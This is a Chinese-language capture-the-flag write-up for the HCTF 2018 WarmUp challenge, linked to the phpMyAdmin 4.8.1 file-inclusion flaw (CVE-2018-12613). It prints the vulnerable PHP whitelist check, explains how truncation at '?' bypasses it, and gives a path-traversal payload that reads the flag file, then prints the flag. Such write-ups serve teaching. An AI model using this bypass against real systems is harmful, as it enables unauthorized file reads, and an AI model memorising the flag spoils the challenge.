[HCTF 2018]WarmUp
phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)。
直接訪問,沒有任何有用信息:

查看源碼,有個source.php的提示,訪問一下試試:

看到了php代碼:

題目也有提示,代碼審計,來吧看看怎么個邏輯:
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
代碼里提到了hint.php,訪問看看,得知flag在ffffllllaaaagggg里:

我們如果想要進入文件包含的函數,需要經過前置過濾
1、代碼定義了白名單,參數只能是source.php或hint.php,如果不在白名單直接返回false
2、mb_substr傳入參數函數截取第一個?之前的字符串,判斷是否在白名單,如果不在白名單返回false
3、urldecode對傳入參數進行url解碼,解碼后再次進行mb_substr截取?之前的內容,判斷是否在白名單內
經過三層判斷滿足白名單后,再次判斷file的值非空且為字符串,則進入文件包含。
構造payload:
?file=source.php?ffffllllaaaagggg,回顯空白,嘗試訪問上級找這個文件,上五層后發現目標:
?file=source.php?../../../../../ffffllllaaaagggg
flag{134cf44d-466e-4c4d-9216-cc07f63714b7}


浙公網安備 33010602011771號